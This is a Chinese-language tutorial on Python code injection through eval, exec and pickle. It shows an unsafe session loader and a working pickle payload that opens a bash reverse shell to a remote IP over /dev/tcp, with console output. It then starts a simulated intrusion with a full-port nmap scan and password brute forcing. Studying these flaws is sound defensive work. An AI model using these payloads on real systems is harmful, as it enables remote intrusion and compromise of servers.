什么是代码注入
代码注入攻击指的是任何允许攻击者在网络应用程序中注入源代码,从而得到解读和执行的方法。
Python中常见代码注入
能够执行一行任意字符串形式代码的eval()函数
eval("__import__('os').system('uname -a')")
能够执行字符串形式代码块的exec()函数
exec("__import__('os').system('uname -a')")
反序列化一个pickled对象时
pickle.loads("cposix\nsystem\np0\n(S'uname -a'\np1\ntp2\nRp3\n.")
执行一个Python文件
execfile("testf.py")
pickle.loads()代码注入
某不安全的用法:
def load_session(self, session_id=None):
if not session_id:
session_id = self.gen_session_id()
session = Session(session_id, self)
else:
try:
data = self.backend.get(session_id)
if data:
data = pickle.loads(data)
assert type(data) == dict
else:
data = {}
except:
data = {}
session = Session(session_id, self, data)
return session
注入的代码:
>>> import os
>>> import pickle
>>> class exp(object):
... def __reduce__(self):
... s = "/bin/bash -c \"/bin/bash -i > \/dev/tcp/192.168.42.62/12345 0<&1 2>&1 &\""
... return (os.system, (s,))
...
>>> e = exp()
>>> e
<__main__.exp object at 0x7f734afa8790>
>>> k = pickle.dumps(e)
'cposix\nsystem\np0\n(S\'/bin/bash -c "/bin/bash -i > \\\\/dev/tcp/192.168.42.62/12345 0<&1 2>&1 &"\'\np1\ntp2\nRp3\n.'
>>> pickle.loads(k)
0
>>>
[3]+ Stopped python
这些函数使用不当都很危险
os.system
os.popen*
os.spawn*
os.exec*
os.open
os.popen*
commands.*
subprocess.popen
popen2.*
一次模拟的实践
通过这次实践发现系统中的诸多安全薄弱的环节,执行流程如下:
- nmap扫描公网IPnmap -v -A *.*.*.* -p 1-65535,通过nmap扫描后会发现公开的服务。扫描关键信息见附录。
- 暴力破解登录名密码test 12